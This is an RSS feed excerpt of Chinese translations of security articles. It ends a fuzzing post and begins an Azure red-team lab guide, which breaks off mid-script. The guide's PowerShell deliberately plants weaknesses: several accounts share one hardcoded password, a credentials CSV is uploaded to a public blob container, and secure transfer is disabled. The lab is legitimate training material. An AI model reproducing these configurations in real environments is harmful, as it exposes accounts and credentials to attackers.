项目或安全审计中尝试一下。在实现这一改进的过程中,我和 Claude 协作开发,有时候它会一路冲到终点线,把我甩在身后两天才追得上。把功能跑通仍然是最终目标,在它 </span><em><span leaf="">确实</span></em><span leaf="">跑通之后再去逆向理解一份补丁要容易得多;不过,深入理解这份补丁本身同样很有价值。在这个过程中,我对 ELF 二进制、模糊测试引擎内部、链接器和编译器都有了不少新的认识。LLM 不仅是把事情做完的好工具,也是帮我们理解周遭世界的好工具。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果你想读到更多关于模糊测试的内容,欢迎参考以下资源:</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">我们 Testing Handbook 中的模糊测试章节</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">对 Python C 扩展进行持续模糊测试</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">用模糊测试器攻破 Solidity 编译器</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一如既往,如果你在下一个 Ruby 项目或模糊测试任务中需要帮助,欢迎联系我们。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://blog.trailofbits.com/2026/04/29/extending-ruzzy-with-libafl/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f25a827a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247495988%26idx%3D2%26sn%3Df91313c8f4d94208e42b47e99062753e">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 07 May 2026 19:13:00 +0800</pubDate>
    </item>
    <item>
      <title>Read2Own：Microsoft Azure 红队渗透实战</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247495986&amp;idx=1&amp;sn=c4a089ed592f25ebb6a5719016e1029e</link>
      <description>演示一条从互联网 OSINT 直至全局管理员的完整 Azure 红队攻击链，并附部署脚本与检测加固建议。</description>
      <content:encoded><![CDATA[<p><span>Casper Schjøtt</span> <span>2026-05-06 10:24</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c6d0d256&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nShDHdNmyDicWL7Kd4M2icnXCCrenQCf044ZyjD7LOPiaSWTF2RnSTjv4icsx9k2o4znDttCtBXxqCBbDU9uricjHL2CLuZq5XnK9qFo%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>演示一条从互联网 OSINT 直至全局管理员的完整 Azure 红队攻击链，并附部署脚本与检测加固建议。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://itm8.com/articles/read2own-red-teaming-microsoft-azure" target="_blank">https://itm8.com/articles/read2own-red-teaming-microsoft-azure</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Casper Schjøtt 与 Nichlas Falk</span></p></td></tr></tbody></table><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">介绍</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本文将展示一系列攻击技术：从互联网侧获取 Azure 访问权限、在 Azure 内部进行权限提升、在服务主体、资源和用户之间横向移动，以及实现持久化和漏洞利用。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们提供了包含 PowerShell 脚本在内的完整部署指南，让您在自己的租户中学习如何滥用不安全的 Microsoft Azure 配置。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">此外，我们还包含了检测和改进安全性章节，指导您将易受攻击的租户重新配置为更安全的设计，并检测是否曾对您的租户执行过这些攻击。请随意在您的环境中尝试不同的攻击路径，看看如何通过加固租户来轻松破坏攻击链。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本文将涵盖 3 个不同的章节：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">部署</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">攻击路径 (概述与分步演示)</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">检测和改进安全性</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">本文的灵感来源于 NetSPI 公司 Karl Fosaaen 主导的优秀课程</span></em><strong><span leaf="">Dark Side Ops Courses: Evolving Cybersecurity Excellence</span></strong><em><span leaf="">、他的出色研究，以及由</span></em><span leaf="">Karl Fosaaen </span><em><span leaf="">与</span></em><span leaf="">David Okeyode </span><em><span leaf="">合著的《Penetration Testing Azure for Ethical Hacker》一书。</span></em></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">部署</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">显然，我们将从部署阶段开始。如果您希望搭建一个 Azure 租户却不确定从何入手，请跟随本指南，您将很快上手各类云端攻击技术。由于实际攻击和攻击路径尚未详细介绍，某些配置可能暂时让人摸不着头脑。我们将在操作过程中尽量解释每一步的作用。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">不涵盖许可证购买和初始 AAD 配置。此实验室运行成本很低，MSDN 订阅包含的任何积分或新的免费 Azure 账户都足够使用。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">完整部署脚本请访问：<a href="https://github.com/improsec/2Cloudz/" target="_blank">https://github.com/improsec/2Cloudz/</a></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">租户信息：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">名称：impros3c</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">主域名：adsikkerhed.dk</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">子域名：adsikkerhed.vault.azure.net</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">子域名：adsikkerhed.blob.core.windows.net</span></p></li></ul><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">部署步骤</span></h2><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">创建 AAD 用户</span></p></li></ul><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(0, 92, 197);"><span leaf="">Connect-AzureAD</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">PasswordProfile</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">New-Object</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">TypeName Microsoft.Open.AzureAD.Model.PasswordProfile</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">PasswordProfile</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.Password</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;%cP&amp;KCuC48YEYs3l3t9o!fIJU&#34;</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">PasswordProfile</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.ForceChangePasswordNextLogin</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">false</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">New-AzureADUser</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">DisplayName </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;nfp&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">PasswordProfile </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">PasswordProfile</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">UserPrincipalName </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;nfp@adsikkerhed.dk&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">AccountEnabled </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">true</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">MailNickName </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;nfp&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">New-AzureADUser</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">DisplayName </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;AppOwner&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">PasswordProfile </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">PasswordProfile</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">UserPrincipalName </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;AppOwner@adsikkerhed.dk&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">AccountEnabled </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">true</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">MailNickName </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;AppOwner&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">New-AzureADUser</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">DisplayName </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;privadmin&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">PasswordProfile </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">PasswordProfile</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">UserPrincipalName </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;privadmin@adsikkerhed.dk&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">AccountEnabled </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">true</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">MailNickName </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;privadmin&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">New-AzureADUser</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">DisplayName </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;AutomationAdmin&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">PasswordProfile </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">PasswordProfile</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">UserPrincipalName </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;AutomationAdmin@adsikkerhed.dk&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">AccountEnabled </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">true</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">MailNickName </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;AutomationAdmin&#34;</span></span></code></pre><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">创建包含用户名和密码的 CSV 文件</span></p></li></ul><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">[</span><span style="color: rgb(215, 58, 73);"><span leaf="">pscustomobject</span></span><span leaf="">]</span><span style="color: rgb(215, 58, 73);"><span leaf="">@</span></span><span leaf="">{</span><span style="color: rgb(36, 41, 46);"><span leaf="">username</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;nfp@adsikkerhed.dk&#39;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">;</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">password</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;%cP&amp;KCuC48YEYs3l3t9o!fIJU&#39;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">;</span></span><span leaf="">} </span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Export-Csv</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Path .\test.csv </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Append </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">NoTypeInformation </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Delimiter </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;;&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Encoding UTF8</span></code></pre><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">创建资源组 &#34;STORAGE&#34;</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">创建存储账户 &#34;ADSIKKERHED&#34;</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">选择启用 Blob 公共访问和连接方式公共端点 - 所有默认设置</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">禁用安全传输要求</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">创建名为 &#34;files&#34; 的 Blob 容器，公共访问级别设为 &#34;Container&#34;</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">将 test.csv 上传到 &#34;files&#34; blob</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">最终 URL：<a href="https://adsikkerhed.blob.core.windows.net/files/test.csv" target="_blank">https://adsikkerhed.blob.core.windows.net/files/test.csv</a></span></p></li></ul><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">resourceGroup</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;STORAGE&#34;</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">location</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;northeurope&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">New-AzResourceGroup</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Name </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">resourceGroup</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Location </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">location</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">StorageAccountProv</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">@</span></span><span leaf="">{</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">ResourceGroupName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">resourceGroup</span></span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">Name</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;adsikkerhed&#39;</span></span><br/><span style="color: rgb(36, 